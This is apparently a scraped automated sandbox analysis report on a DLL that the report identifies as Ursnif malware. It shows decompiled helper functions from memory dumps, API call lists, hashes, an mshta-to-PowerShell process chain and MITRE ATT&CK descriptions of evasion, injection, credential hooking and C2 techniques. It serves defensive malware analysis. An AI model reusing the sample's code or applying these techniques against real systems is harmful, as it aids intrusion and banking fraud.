0x04182412
0x04182417
0x00000000
0x00000000
0x04182407
0x04182407
0x04182419
0x0418241d
0x0418242f
0x0418242f
0x0418243f
0x04182442
0x04182447
0x0418244b
0x04182451

APIs

RtlEnterCriticalSection.NTDLL(04B29570), ref: 041823FD
Sleep.KERNEL32(0000000A,?,04185D25), ref: 04182407
HeapFree.KERNEL32(00000000,00000000,?,04185D25), ref: 0418242F
RtlLeaveCriticalSection.NTDLL(04B29570), ref: 0418244B

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: 3447e433263f3d8faade1f24123251b903ef0b67e4c946d423236e62d81dff0b
Instruction ID: 4c83bf77187da13cace4059f4f08767fd5f080aa3012f8388a421e0db0768b6d
Opcode Fuzzy Hash: 3447e433263f3d8faade1f24123251b903ef0b67e4c946d423236e62d81dff0b
Instruction Fuzzy Hash: 2AF0F8B46002419BE715AFAAEA88F1677E4EF18781B04844CF941DA290EB38EC81DF75

Uniqueness

Uniqueness Score: -1.00%

Function 04186702, Relevance: 6.0, APIs: 4, Instructions: 28
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E04186702() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x418d32c; // 0x4b295b0
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x418d32c; // 0x4b295b0
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x418d32c; // 0x4b295b0
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x418e81a) {
					HeapFree( *0x418d238, 0, _t10);
					_t7 =  *0x418d32c; // 0x4b295b0
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}

0x04186702
0x0418670b
0x0418671b
0x0418671b
0x04186720
0x04186725
0x00000000
0x00000000
0x04186715
0x04186715
0x04186727
0x0418672c
0x04186730
0x04186743
0x04186749
0x04186749
0x04186752
0x04186754
0x04186758
0x0418675e

APIs

RtlEnterCriticalSection.NTDLL(04B29570), ref: 0418670B
Sleep.KERNEL32(0000000A,?,04185D25), ref: 04186715
HeapFree.KERNEL32(00000000,?,?,04185D25), ref: 04186743
RtlLeaveCriticalSection.NTDLL(04B29570), ref: 04186758

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: 54c0424f189c695a31f409169fb1311d88070ff7085284d5ac9c5cc590329f7b
Instruction ID: 8707f4ca5a7c4034cb4270a21e40c3f242caa1c48f34ac1f0653677cb83b1c10
Opcode Fuzzy Hash: 54c0424f189c695a31f409169fb1311d88070ff7085284d5ac9c5cc590329f7b
Instruction Fuzzy Hash: 1AF0D4B8600200DBE718AF66EAD9F1677E6EB08751B04804DE902DB3A0D738EC80DE60

Uniqueness

Uniqueness Score: -1.00%

Function 04185AF1, Relevance: 5.1, APIs: 4, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E04185AF1(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E0418A71F(_t2);
				if(_t34 != 0) {
					_t30 = E0418A71F(_t28);
					if(_t30 == 0) {
						E0418A734(_t34);
					} else {
						_t39 = _a4;
						_t22 = E0418A782(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E0418A782(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}

0x04185af1
0x04185afb
0x04185afd
0x04185b03
0x04185b03
0x04185b0c
0x04185b10
0x04185b1c
0x04185b20
0x04185b94
0x04185b22
0x04185b22
0x04185b26
0x04185b2b
0x04185b30
0x04185b4a
0x04185b39
0x04185b39
0x04185b3d
0x04185b40
0x04185b45
0x04185b45
0x04185b4f
0x04185b77
0x04185b7d
0x04185b80
0x04185b51
0x04185b53
0x04185b5b
0x04185b66
0x04185b6b
0x04185b6b
0x04185b87
0x04185b8e
0x04185b8f
0x04185b8f
0x04185b20
0x04185b9f

APIs

lstrlen.KERNEL32(00000000,00000008,?,75144D40,?,?,04183E08,?,?,?,?,00000102,041867B8,?,?,00000000), ref: 04185AFD

Part of subcall function 0418A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04185595), ref: 0418A72B

Part of subcall function 0418A782: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,04185B2B,00000000,00000001,00000001,?,?,04183E08,?,?,?,?,00000102), ref: 0418A790
Part of subcall function 0418A782: StrChrA.SHLWAPI(?,0000003F,?,?,04183E08,?,?,?,?,00000102,041867B8,?,?,00000000,00000000), ref: 0418A79A

memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,04183E08,?,?,?,?,00000102,041867B8,?), ref: 04185B5B
lstrcpy.KERNEL32(00000000,00000000), ref: 04185B6B
lstrcpy.KERNEL32(00000000,00000000), ref: 04185B77

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpy$AllocateHeaplstrlenmemcpy
String ID:
API String ID: 3767559652-0
Opcode ID: 6c01447bf70580921fa5c7caaea67adc3887dae6fba7c226a24523b58e4d2ea3
Instruction ID: 3d2f93a1c7a9d09775c8ae64f37741201fb201e77be345c041f6cf8293ec46fe
Opcode Fuzzy Hash: 6c01447bf70580921fa5c7caaea67adc3887dae6fba7c226a24523b58e4d2ea3
Instruction Fuzzy Hash: 5B21DF76504219FFDB127F74C8C4AAABFBBEF56294B158099F9049F200E735E9009BE4

Uniqueness

Uniqueness Score: -1.00%

Function 041845C6, Relevance: 5.0, APIs: 4, Instructions: 39
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E041845C6(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E0418A71F(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}

0x041845db
0x041845df
0x041845e9
0x041845ee
0x041845f3
0x041845f5
0x041845fd
0x04184602
0x04184610
0x04184615
0x0418461f

APIs

lstrlenW.KERNEL32(004F0053,?,75145520,00000008,04B2935C,?,04188D93,004F0053,04B2935C,?,?,?,?,?,?,0418523E), ref: 041845D6
lstrlenW.KERNEL32(04188D93,?,04188D93,004F0053,04B2935C,?,?,?,?,?,?,0418523E), ref: 041845DD

Part of subcall function 0418A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04185595), ref: 0418A72B

memcpy.NTDLL(00000000,004F0053,751469A0,?,?,04188D93,004F0053,04B2935C,?,?,?,?,?,?,0418523E), ref: 041845FD
memcpy.NTDLL(751469A0,04188D93,00000002,00000000,004F0053,751469A0,?,?,04188D93,004F0053,04B2935C), ref: 04184610

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlenmemcpy$AllocateHeap
String ID:
API String ID: 2411391700-0
Opcode ID: 8b26551b20e59f245e47a7364c912da11a8a7dbe65b8006dcefd1c52a5b5e513
Instruction ID: 0fa772d029cc31ced68b87907b24991ca434b27c932b412c0981ad61261036a3
Opcode Fuzzy Hash: 8b26551b20e59f245e47a7364c912da11a8a7dbe65b8006dcefd1c52a5b5e513
Instruction Fuzzy Hash: 84F0F976900119BBDF11EFA9CC84C9F7BADEF092987154066EA04D7201EB75EA149FA0

Uniqueness

Uniqueness Score: -1.00%

Function 0418361A, Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(04B29A78,00000000,00000000,74ECC740,041820ED,00000000), ref: 0418362A
lstrlen.KERNEL32(?), ref: 04183632

Part of subcall function 0418A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04185595), ref: 0418A72B

lstrcpy.KERNEL32(00000000,04B29A78), ref: 04183646
lstrcat.KERNEL32(00000000,?), ref: 04183651

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$AllocateHeaplstrcatlstrcpy
String ID:
API String ID: 74227042-0
Opcode ID: 4683b113d794e845368d958c0186aac227aaae4bce9aff657ed09d7f84e1c629
Instruction ID: 28c37633c94ab11d3aa261c6c641eab73b4954d992af6888fbbb1239b4f637ca
Opcode Fuzzy Hash: 4683b113d794e845368d958c0186aac227aaae4bce9aff657ed09d7f84e1c629
Instruction Fuzzy Hash: 13E09237501625678711ABE9AC48C5BBBADEF896A1704041FF600D3100D72A9C019BF1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: mshta.exe PID: 5332 Parent PID: 3472 mshta.exeCOMMON

Executed Functions

Function 000001DCEEA70FC1, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000003.471150308.000001DCEEA70000.00000010.00000001.sdmp, Offset: 000001DCEEA70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: 9adba1bdb419c4ed61b51c50bf0eebbc464325b71d1553de6d79efe27a1a1578
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash: F090029449550755D41452930C9529D59846388290FE448854416D0148D44D0296D592

Uniqueness

Uniqueness Score: -1.00%

Function 000001DCEEA70FB9, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000003.471150308.000001DCEEA70000.00000010.00000001.sdmp, Offset: 000001DCEEA70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: 9adba1bdb419c4ed61b51c50bf0eebbc464325b71d1553de6d79efe27a1a1578
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash: F090029449550755D41452930C9529D59846388290FE448854416D0148D44D0296D592

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: powershell.exe PID: 3076 Parent PID: 5332 powershell.exeCOMMON

Executed Functions

Function 00007FFA16A41C59, Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.515673414.00007FFA16A40000.00000040.00000001.sdmp, Offset: 00007FFA16A40000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddb38bab6789b56be34aed876b2eda1eb4f3447077fd3996a91ff96076aa375f
Instruction ID: d5eadbd99f32033b8893e1aac3dea5390141d72ed3dec8815309064fc61a9e64
Opcode Fuzzy Hash: ddb38bab6789b56be34aed876b2eda1eb4f3447077fd3996a91ff96076aa375f
Instruction Fuzzy Hash: A551D531A1CE494FD344D718DC54AA6B7F1FF86321F0987BAE04DC7292DA28BD458B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA16A41775, Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.515673414.00007FFA16A40000.00000040.00000001.sdmp, Offset: 00007FFA16A40000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 755fe3cbdcad416eefa6f1acdf45f264f29895f7ace63e8cb25328fa015116ad
Instruction ID: 080f01c9c66fe6f84dfbdf879c9330f8f2c08a5379b9d2f1163b2876090390e2
Opcode Fuzzy Hash: 755fe3cbdcad416eefa6f1acdf45f264f29895f7ace63e8cb25328fa015116ad
Instruction Fuzzy Hash: 3801677115CB0C4FDB44EF0CE451AB6B7E0FB95364F10056EE58AC3661DA36E881CB45

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	BIOS, MBR, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report 2770174.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Ursnif

Yara Overview

Memory Dumps

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Exports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre